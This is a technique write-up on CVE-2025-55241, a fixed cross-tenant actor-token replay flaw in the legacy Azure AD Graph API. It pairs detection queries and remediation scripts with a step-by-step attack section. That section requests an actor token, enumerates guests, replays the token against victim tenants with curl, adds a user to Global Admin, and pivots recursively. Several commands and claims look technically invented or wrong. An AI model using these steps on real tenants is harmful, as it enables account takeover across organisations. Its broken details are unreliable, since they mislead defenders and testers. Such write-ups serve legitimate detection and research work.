| Attribute | Details |
|---|---|
| Technique ID | REALWORLD-007 |
| MITRE ATT&CK v18.1 | T1550 - Use Alternate Authentication Material |
| Tactic | Defense Evasion, Lateral Movement |
| Platforms | Cross-Cloud (Entra ID → Entra ID), M365, Azure |
| Severity | Critical |
| CVE | CVE-2025-55241 |
| Technique Status | FIXED |
| Last Verified | 2025-09-30 |
| Affected Versions | Legacy Azure AD Graph API (graph.windows.net); all Entra ID versions prior to Sept 2025 |
| Patched In | September 2025 (tenant validation hardening in legacy Graph API) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: CVE-2025-55241 enabled cross-tenant token replay—the ability to use an actor token obtained from one Entra ID tenant against the legacy Azure AD Graph API to authenticate as any user in any other tenant. The vulnerability arose from the combination of two systemic failures: (1) Actor tokens contained no tenant-specific cryptographic binding or signature validation, and (2) The legacy Azure AD Graph API (graph.windows.net) did not validate the originating tenant of the token. This allowed an attacker to obtain an actor token in their own (attacker-controlled or compromised) tenant and immediately replay it against victim tenants without any cross-tenant authentication ceremony or validation. The attack bypassed the fundamental tenant isolation boundary that customers rely on in multi-tenant cloud services.
Attack Surface: The deprecated Azure AD Graph API endpoint (graph.windows.net) and the underlying token validation logic that failed to enforce tenant-specific cryptographic bindings. Any application or service still using legacy Graph API endpoints was vulnerable to authentication bypass.
Business Impact: Multi-tenant exploitation and exponential compromise spread. Once an attacker gains access to a single tenant, they can escalate to Global Admin and then identify guest users from partner organizations. By pivoting to those guest users’ home tenants, the attacker can compromise multiple organizations recursively without authentication. A single compromised tenant can lead to compromise of dozens of connected organizations’ Azure environments.
Technical Context: Token replay typically takes 3-5 minutes per tenant once initial token is obtained. The attacker’s token remains valid for 1 hour, allowing exploitation of multiple tenants before token expiration. The exponential nature of the attack (each compromised tenant reveals new guest user tenants to pivot to) makes it extremely difficult to contain once initiated.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | AC-1.1 | Tenant isolation failure - fundamental multi-tenant boundary violation |
| DISA STIG | AC-1.1 | Access control and multi-tenancy segregation failure |
| CISA SCuBA | Entra ID - 2.2 | Cross-tenant access control enforcement failure |
| NIST 800-53 | AC-3 | Access enforcement failure due to missing tenant validation |
| NIST 800-53 | SC-7 | Boundary protection failure - tenant isolation bypassed |
| GDPR | Art. 32 | Security of processing - cryptographic token binding absent |
| DORA | Art. 9 | Protection and prevention failure - multi-tenant compromise |
| NIS2 | Art. 21 | Cyber risk management - detection of cross-tenant attacks impossible |
| ISO 27001 | A.13.1.3 | Segregation in networks - tenant segregation failure |
| ISO 27005 | Risk ID-22 | Cross-tenant boundary violation scenario |
Required Privileges:
Required Access:
https://graph.windows.net/ endpoint (internet-facing)Supported Versions:
Tools:
Attacker enumerates potential target organizations using public Entra ID discovery:
# Method 1: Entra ID Tenant Discovery API (no authentication required)
TENANT_NAME="target-company"
curl -s "https://login.microsoftonline.com/$TENANT_NAME.onmicrosoft.com/.well-known/openid-configuration" | grep -i "tid\|tenant_id"
# Method 2: DNS enumeration of target organization's domain
nslookup msoid._domainkey.target-company.com # Returns tenant ID in SPF record
dig enterpriseregistration.windows.net +short
# Method 3: LinkedIn/Public records to identify target domain
# Research target company public domain → use domain in OIDC discovery
What to Look For:
.well-known/openid-configuration endpoint → tenant is discoverable00000000-0000-0000-0000-000000000001)Once initial actor token access is gained (via REALWORLD-005), enumerate GA accounts:
# Requires attacker to have impersonated a user in target tenant (via REALWORLD-005)
$TargetTenantId = "00000000-0000-0000-0000-000000000001"
$ActorToken = "eyJ0eXAiOiJKV1QiLCJhbGc..."
$Headers = @{
"Authorization" = "Bearer $ActorToken"
"Content-Type" = "application/json"
}
# Query Global Administrator role members
$GAUrl = "https://graph.windows.net/$TargetTenantId/directoryRoles?api-version=1.6&\$filter=displayName eq 'Global Administrator'"
$GARole = Invoke-RestMethod -Uri $GAUrl -Headers $Headers
$RoleId = $GARole.value[0].objectId
$MembersUrl = "https://graph.windows.net/$TargetTenantId/directoryRoles/$RoleId/members?api-version=1.6"
$GAs = Invoke-RestMethod -Uri $MembersUrl -Headers $Headers
Write-Host "Global Administrators:"
$GAs.value | ForEach-Object { Write-Host $_.userPrincipalName }
Supported Versions: All Azure AD Graph API versions
Objective: Request actor token from attacker’s own Entra ID environment (no authentication barriers).
Command (Token Request):
ATTACKER_TENANT="attacker.onmicrosoft.com"
TOKEN_ENDPOINT="https://login.microsoftonline.com/$ATTACKER_TENANT/oauth2/v2.0/token"
# Request actor token using attacker-controlled service principal
curl -X POST $TOKEN_ENDPOINT \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "client_id=attacker-service-principal-id" \
-d "assertion=JWT_SIGNED_WITH_CERT" \
-d "grant_type=urn:ietf:params:oauth:grant-type:saml2-bearer" \
-d "requested_token_use=on_behalf_of" \
-d "actor=graph"
Expected Response:
{
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjJUQUJTc3JFWlAxT...",
"token_type": "Bearer",
"expires_in": 3599,
"ext_expires_in": 3599
}
What This Means:
"actor": true and "aud": "https://graph.windows.net"Objective: Identify guest user accounts from other organizations (opportunity for cross-tenant pivot).
Command (Guest User Enumeration):
$ActorToken = "eyJ0eXAiOiJKV1QiLCJhbGc..."
$AttackerTenantId = "00000000-0000-0000-0000-000000000010"
$Headers = @{
"Authorization" = "Bearer $ActorToken"
"Content-Type" = "application/json"
}
# Query guest users and extract home tenant IDs
$GuestUrl = "https://graph.windows.net/$AttackerTenantId/users?api-version=1.6&\$filter=userType eq 'Guest'"
$Guests = Invoke-RestMethod -Uri $GuestUrl -Headers $Headers
Write-Host "Guest Users and Home Tenants:"
$Guests.value | ForEach-Object {
$AlternativeSecurityId = $_.otherMails[0] # Contains home tenant reference
$HomeTenantId = $_.userPrincipalName.Split("@")[1] # Home tenant domain
Write-Host "Guest: $($_.userPrincipalName) | Home Domain: $HomeTenantId"
}
What This Means:
Objective: Use attacker-obtained actor token against victim’s legacy Graph API. This should fail with proper tenant validation—CVE-2025-55241 is the failure to validate.
Command (Token Replay - Cross-Tenant Impersonation):
# Attacker replays token obtained from THEIR tenant against VICTIM tenant
VICTIM_TENANT_ID="00000000-0000-0000-0000-000000000099" # Victim's tenant ID
ACTOR_TOKEN="eyJ0eXAiOiJKV1QiLCJhbGc..." # Obtained from attacker's tenant
# Query victim tenant as if authenticated
curl -X GET \
-H "Authorization: Bearer $ACTOR_TOKEN" \
-H "Content-Type: application/json" \
"https://graph.windows.net/$VICTIM_TENANT_ID/users?api-version=1.6"
Expected Output (If Vulnerable - CVE-2025-55241):
{
"value": [
{
"objectId": "550e8400-e29b-41d4-a716-446655440099",
"userPrincipalName": "admin@victim.onmicrosoft.com",
"displayName": "Victim Admin",
"accountEnabled": true
}
]
}
What This Means:
OpSec & Evasion:
Troubleshooting:
AADSTS500019: Invalid Scope
aud claimhttps://graph.windows.net audienceAADSTS50011: The reply address does not match the reply addresses configured for the application
Supported Versions: All Azure AD Graph API versions
Attacker starts with compromised account in Tenant A (via phishing, breach, etc.).
# Using compromised Tenant A credentials
curl -X POST "https://login.microsoftonline.com/tenant-a.onmicrosoft.com/oauth2/v2.0/token" \
-d "client_id=compromised-app-id" \
-d "username=compromised-user@tenant-a.onmicrosoft.com" \
-d "password=stolen-password" \
-d "grant_type=password" \
-d "scope=https://graph.windows.net/.default"
Using actor token from Tenant A, enumerate guests that belong to other tenants:
# Query shows guest users from Tenant B, C, D...
$GuestUsers = Invoke-RestMethod -Uri $GuestUrl -Headers $Headers
# Extract home tenant IDs:
# - guest-from-b@tenant-b.onmicrosoft.com → Tenant B ID
# - guest-from-c@tenant-c.onmicrosoft.com → Tenant C ID
Using actor token, modify compromised user’s role (still using Tenant A token):
# Use Tenant A's actor token to make the compromised user a Global Admin
curl -X POST \
-H "Authorization: Bearer $ActorToken" \
"https://graph.windows.net/tenant-a-id/directoryRoles/role-id/members?api-version=1.6" \
-d '{"url": "https://graph.windows.net/tenant-a-id/users/compromised-user-id"}'
Now attacker is Tenant A Global Admin, requests fresh actor token with higher permissions:
# As Global Admin, request token with expanded scopes
curl -X POST "https://login.microsoftonline.com/tenant-a.onmicrosoft.com/oauth2/v2.0/token" \
-d "client_id=global-admin-app" \
-d "username=compromised-user@tenant-a.onmicrosoft.com" \
-d "password=reset-password" \
-d "grant_type=password" \
-d "scope=https://graph.windows.net/.default"
Now with Tenant A’s actor token (elevated with GA permissions), replay against Tenant B:
# Cross-tenant pivot: Use Tenant A token against Tenant B
curl -X GET \
-H "Authorization: Bearer $TenantAActorToken" \
"https://graph.windows.net/$TenantBId/users?api-version=1.6" \
# Returns Tenant B users - attacker impersonates guest user, escalates to GA
Attacker now has Global Admin in both Tenant A and Tenant B. Enumerate guests in each, pivot to their home tenants, repeat.
Attack Outcome: Exponential compromise across connected organizations.
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Discovery | Entra ID tenant enumeration | Identify target tenant ID and guest users |
| 2 | Initial Access | Phishing / credential compromise | Gain initial foothold in Tenant A |
| 3 | Credential Access | [REALWORLD-006] Token extraction | Extract actor token from Tenant A |
| 4 | Current Step | [REALWORLD-007] | Cross-tenant token replay to impersonate users in Tenant B |
| 5 | Privilege Escalation | [REALWORLD-008] Escalate to GA | Elevate impersonated account to Global Admin |
| 6 | Lateral Movement | Repeat steps 3-5 | Pivot to Tenants C, D, E… recursively |
| 7 | Impact | Ransomware / Data exfiltration | Compromise all connected organizational tenants |
Cloud (Entra ID):
Network:
graph.windows.net, login.microsoftonline.com (normal traffic pattern)No On-Premises Artifacts: Cross-tenant token replay is purely cloud-based; no on-premises logs generated.
Rule Configuration:
KQL Query:
// Detect access to legacy Graph API from non-Microsoft IP or unusual patterns
AzureActivity
| where ResourceProvider == "Microsoft.Authorization" and OperationName contains "Graph"
| where parse_ipv4(CallerIPAddress) not in ("20.190.0.0/16", "20.41.0.0/16") // Exclude Microsoft IPs
| join kind=leftouter (
SigninLogs
| where ResultType == 0
| project SigninTime = TimeGenerated, UserPrincipalName, TenantId = parse_json(Properties).homeTenantId
) on UserPrincipalName
| where isempty(SigninTime) or (TimeGenerated - SigninTime) > 1h // API call without recent sign-in
| project TimeGenerated, Caller, OperationName, CallerIPAddress, TenantId
| summarize AccessCount = count() by Caller, TenantId, CallerIPAddress
| where AccessCount > 3 // Threshold: More than 3 API calls from same IP/tenant combo
What This Detects:
Rule Configuration:
KQL Query:
// Detect enumeration of guest users followed by privilege escalation
let GuestEnumeration =
AuditLogs
| where OperationName == "Search users"
| where parse_json(TargetResources)[0].userPrincipalName contains "#EXT#" // Guest user filter
| extend EnumerationTime = TimeGenerated, Actor = InitiatedBy;
let RoleEscalation =
AuditLogs
| where OperationName == "Add member to role"
| where parse_json(TargetResources)[0].displayName == "Global Administrator"
| extend EscalationTime = TimeGenerated;
GuestEnumeration
| join kind=inner RoleEscalation on Actor
| where (EscalationTime - EnumerationTime) between (0m .. 30m) // Within 30 min
| project TimeGenerated, EnumerationTime, EscalationTime, Actor, EscalatedUser = TargetResources
Event ID: 4625 (Failed Sign-In)
Minimum Sysmon Rule: N/A (cross-tenant token replay is cloud-only, no local artifact)
Microsoft mandated removal of legacy endpoint by September 1, 2025. Verify complete deprecation.
Manual Steps (Verify Removal):
# Confirm no applications can use legacy Graph API
$LegacyGraphId = "00000002-0000-0000-c000-000000000000"
Get-MgApplication -All | Where-Object {
$_.RequiredResourceAccess | Where-Object {
$_.ResourceAppId -eq $LegacyGraphId
}
} | ForEach-Object {
Write-Host "CRITICAL: $($_.DisplayName) still requires legacy Graph"
}
# If any apps found, remove legacy permissions immediately
Ensure all applications use modern Microsoft Graph API with token protection enabled.
Manual Steps (Azure Portal):
https://graph.microsoft.com NOT graph.windows.netManual Steps (Azure Portal):
Token Protection - All UsersValidation Command:
$Policy = Get-MgIdentityConditionalAccessPolicy -Filter "displayName eq 'Token Protection - All Users'"
if ($Policy.SessionControls.ApplicationEnforcedRestrictions.IsEnabled) {
Write-Host "✓ Token protection enabled"
} else {
Write-Host "✗ Token protection DISABLED"
}
Enable Azure AD Identity Protection for anomalous token usage detection:
# Verify Identity Protection is enabled
$IdentityProtectionPolicy = Get-MgIdentityProtectionRiskPolicy
Write-Host "Risk Detections:"
$IdentityProtectionPolicy | Select-Object Name, IsEnabled
Implement alerts for any API access involving multiple tenant IDs in short timeframe.
KQL Alert (in Sentinel):
AuditLogs
| summarize TenantCount = dcount(TenantId) by InitiatedBy
| where TenantCount > 2 // Unusual: Single actor accessing multiple tenants
| project InitiatedBy, TenantCount
AuditLogs Patterns:
Azure Activity Patterns:
Step 1: Block Legacy Graph API Access (If Still Accessible)
# Force all applications to modern Microsoft Graph
$LegacyGraphId = "00000002-0000-0000-c000-000000000000"
Get-MgApplication -All | ForEach-Object {
if ($_.RequiredResourceAccess | Where-Object {$_.ResourceAppId -eq $LegacyGraphId}) {
# Remove legacy permissions
$App = Get-MgApplication -ApplicationId $_.Id
$App.RequiredResourceAccess = @($App.RequiredResourceAccess | Where-Object {
$_.ResourceAppId -ne $LegacyGraphId
})
Update-MgApplication -ApplicationId $_.Id -RequiredResourceAccess $App.RequiredResourceAccess
Write-Host "Updated $($App.DisplayName) to remove legacy API"
}
}
Step 2: Revoke All Active Sessions
# Revoke all refresh tokens to force re-authentication
Get-MgUser -All | ForEach-Object {
Revoke-MgUserSignInSession -UserId $_.Id
Write-Host "Revoked sessions for $($_.UserPrincipalName)"
}
Step 3: Disable Suspected Compromised Accounts
# Disable all Global Administrator accounts except known trusted accounts
$TrustedAdmins = @("trusted-admin@org.com")
Get-MgRoleManagementDirectoryRoleAssignment -Filter "roleDefinitionId eq 'guid-of-global-admin'" |
ForEach-Object {
$User = Get-MgUser -UserId $_.PrincipalId
if ($User.UserPrincipalName -notin $TrustedAdmins) {
Update-MgUser -UserId $_.PrincipalId -AccountEnabled:$false
Write-Host "Disabled suspicious account: $($User.UserPrincipalName)"
}
}
Step 4: Extract Forensic Evidence
# Export AuditLogs for investigation
Search-UnifiedAuditLog -Operations "Add member to role", "Update application" `
-StartDate (Get-Date).AddDays(-7) | Export-Csv "C:\Evidence\AuditLogs.csv"
CVE-2025-55241 fundamentally broke the tenant isolation boundary that customers rely on. Cross-tenant token replay enabled complete compromise of connected organizational ecosystems without authentication barriers.
Organizations must: